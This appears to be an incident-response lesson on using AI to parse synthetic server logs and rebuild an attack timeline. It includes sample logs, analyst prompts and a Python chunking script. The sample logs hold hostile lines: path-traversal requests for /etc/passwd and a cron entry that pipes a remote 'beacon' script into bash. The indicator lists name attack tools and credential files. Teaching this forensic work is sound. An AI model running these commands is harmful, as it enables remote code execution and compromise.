Using AI to extract attack timelines, identify compromised accounts, and reconstruct adversary behavior from raw server logs.
Parse Apache, auth, and syslog files at scale using AI-assisted analysis
Reconstruct full attack timelines from messy, high-volume log data
Log analysis techniques are demonstrated for authorized security testing and CTF competitions. Never access logs from systems without proper authorization.
All log samples in this lesson are synthetic and created for training purposes. In professional settings, always ensure you have written authorization before analyzing system logs.
Logs are a double-edged sword. Defenders use them to detect intrusions -- but attackers study them to understand what a target reveals about itself.
| Log Source | File Path | Key Intelligence |
|---|---|---|
| Apache access | /var/log/apache2/access.log | URLs visited, user agents, IPs, response codes, directory traversal attempts |
| Apache error | /var/log/apache2/error.log | Server misconfigs, PHP errors leaking paths, permission denials |
| SSH auth | /var/log/auth.log | Brute force attempts, valid usernames, key-based vs password auth, sudo escalation |
| Syslog | /var/log/syslog | Service starts/stops, cron jobs, kernel messages, suspicious process launches |
| MySQL/Postgres | /var/log/mysql/error.log | SQL errors, authentication failures, query execution hints |
A typical Combined Log Format entry. Each field encodes critical forensic data.
192.168.1.105 - - [15/Mar/2026:09:12:34 +0000] "GET /admin/login.php HTTP/1.1" 200 3421 "-" "Mozilla/5.0 (X11; Linux x86_64)"
192.168.1.105 - - [15/Mar/2026:09:12:35 +0000] "POST /admin/login.php HTTP/1.1" 302 0 "http://target.local/admin/login.php" "Mozilla/5.0 (X11; Linux x86_64)"
192.168.1.105 - - [15/Mar/2026:09:12:36 +0000] "GET /admin/dashboard.php HTTP/1.1" 200 8842 "-" "Mozilla/5.0 (X11; Linux x86_64)"
10.0.0.47 - - [15/Mar/2026:09:14:01 +0000] "GET /../../../../etc/passwd HTTP/1.1" 400 496 "-" "curl/7.81.0"
10.0.0.47 - - [15/Mar/2026:09:14:02 +0000] "GET /cgi-bin/test-cgi?%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 403 199 "-" "curl/7.81.0"
10.0.0.47 - - [15/Mar/2026:09:14:05 +0000] "GET /wp-admin/ HTTP/1.1" 404 274 "-" "curl/7.81.0"
10.0.0.47 - - [15/Mar/2026:09:14:06 +0000] "GET /phpmyadmin/ HTTP/1.1" 404 274 "-" "curl/7.81.0"
192.168.1.105 successfully logged into the admin panel. 10.0.0.47 is performing directory traversal and common-path enumeration using curl -- classic automated scanning behavior.
The auth.log reveals brute-force patterns, successful compromises, and privilege escalation.
Mar 15 10:22:01 webserver sshd[4821]: Failed password for root from 203.0.113.42 port 55122 ssh2
Mar 15 10:22:03 webserver sshd[4821]: Failed password for root from 203.0.113.42 port 55122 ssh2
Mar 15 10:22:05 webserver sshd[4821]: Failed password for root from 203.0.113.42 port 55122 ssh2
Mar 15 10:22:07 webserver sshd[4823]: Failed password for invalid user admin from 203.0.113.42 port 55198 ssh2
Mar 15 10:22:09 webserver sshd[4825]: Failed password for invalid user test from 203.0.113.42 port 55201 ssh2
Mar 15 10:22:44 webserver sshd[4830]: Accepted password for deploy from 203.0.113.42 port 55340 ssh2
Mar 15 10:22:44 webserver sshd[4830]: pam_unix(sshd:session): session opened for user deploy
Mar 15 10:23:12 webserver sudo: deploy : TTY=pts/0 ; PWD=/home/deploy ; USER=root ; COMMAND=/bin/bash
Mar 15 10:23:12 webserver sudo: pam_unix(sudo:session): session opened for user root by deploy(uid=1001)
Brute force against root and common usernames, followed by a successful login as deploy, then immediate sudo escalation to root. Total elapsed time: ~71 seconds.
curl, sqlmap, nikto/etc/shadow, /etc/passwd, .ssh/Large log files (100K+ lines) are tedious to grep through manually. AI excels at correlation, summarization, and anomaly detection across log volumes.
Use traditional tools (grep, awk, jq) for initial filtering and volume reduction, then feed the filtered output to AI for deep analysis.
The quality of AI-driven log analysis depends heavily on prompt construction. Structure your prompts in layers.
You are a senior SOC analyst performing incident response.
I am providing Apache access logs and SSH auth logs from a
web server that was compromised on March 15, 2026.
Analyze these logs and:
1. Identify all unique source IPs and classify them as
benign, suspicious, or malicious
2. Build a timeline of the attack from initial recon to
privilege escalation
3. Identify which accounts were compromised
4. Note any data exfiltration indicators
Parse the following auth.log entries and return a JSON
object with: { "brute_force_sources": [...],
"compromised_accounts": [...], "escalation_events": [...],
"timeline": [ {"time": "...", "event": "...", "severity": "..."} ] }
When logs exceed context window limits, use a chunked pipeline approach.
import anthropic, json
client = anthropic.Anthropic()
def analyze_log_chunk(chunk, chunk_num):
"""Send a log chunk to Claude for initial triage."""
response = client.messages.create(
model="claude-sonnet-4-20250514",
max_tokens=2048,
messages=[{
"role": "user",
"content": f"""Analyze this log chunk ({chunk_num}) for security events.
Return JSON with: suspicious_ips, failed_auths, successful_auths,
escalation_events, notable_requests.
LOG DATA:
{chunk}"""
}]
)
return json.loads(response.content[0].text)
# Phase 1: Analyze chunks independently
chunk_results = []
for i, chunk in enumerate(log_chunks):
result = analyze_log_chunk(chunk, i + 1)
chunk_results.append(result)
# Phase 2: Synthesize all chunk results
synthesis_prompt = f"""Combine these chunk analyses into a single
attack timeline: {json.dumps(chunk_results)}"""
After initial compromise, attackers establish persistence. Syslog captures these breadcrumbs.
Mar 15 10:24:01 webserver CRON[5012]: (root) CMD (/tmp/.cache/update.sh)
Mar 15 10:24:01 webserver kernel: [42918.221] audit: type=1400 msg=audit(1742036641.221:418): apparmor="DENIED" operation="open" name="/etc/shadow"
Mar 15 10:25:33 webserver systemd[1]: Started /etc/systemd/system/debug-helper.service
Mar 15 10:25:34 webserver kernel: [42950.102] TCP: eth0: connect to 203.0.113.99:4444
Mar 15 10:26:01 webserver CRON[5089]: (deploy) CMD (curl -s http://203.0.113.99/beacon | bash)
/tmp/.cache/The real power of log analysis is connecting events across files. Here is the full attack timeline from our samples.
| Time | Source | Event | Severity |
|---|---|---|---|
| 09:14:01 | Apache access | Directory traversal attempts from 10.0.0.47 | Medium |
| 09:14:05 | Apache access | Common admin path enumeration from 10.0.0.47 | Medium |
| 10:22:01 | auth.log | SSH brute force from 203.0.113.42 (root, admin, test) | High |
| 10:22:44 | auth.log | Successful SSH login as deploy from 203.0.113.42 | Critical |
| 10:23:12 | auth.log | deploy escalates to root via sudo | Critical |
| 10:24:01 | syslog | Malicious cron job and shadow file access attempt | Critical |
| 10:25:33 | syslog | Persistence via systemd service + C2 callback | Critical |
UNION SELECT, OR 1=1, encoded quotes in URLs<script> tags and event handlers in query params../ sequences, %2e%2e%2f encoding.php filesFailed password entries from one IPYou have been given three log files from a compromised web server: access.log, auth.log, and syslog. Your objectives:
Use AI-assisted analysis to process the logs, then assemble your findings into a structured incident report. The lab guide provides the full log dataset and step-by-step instructions.
Lesson 03 takes these analysis skills into active reconnaissance -- using AI to automate OSINT gathering and attack surface mapping.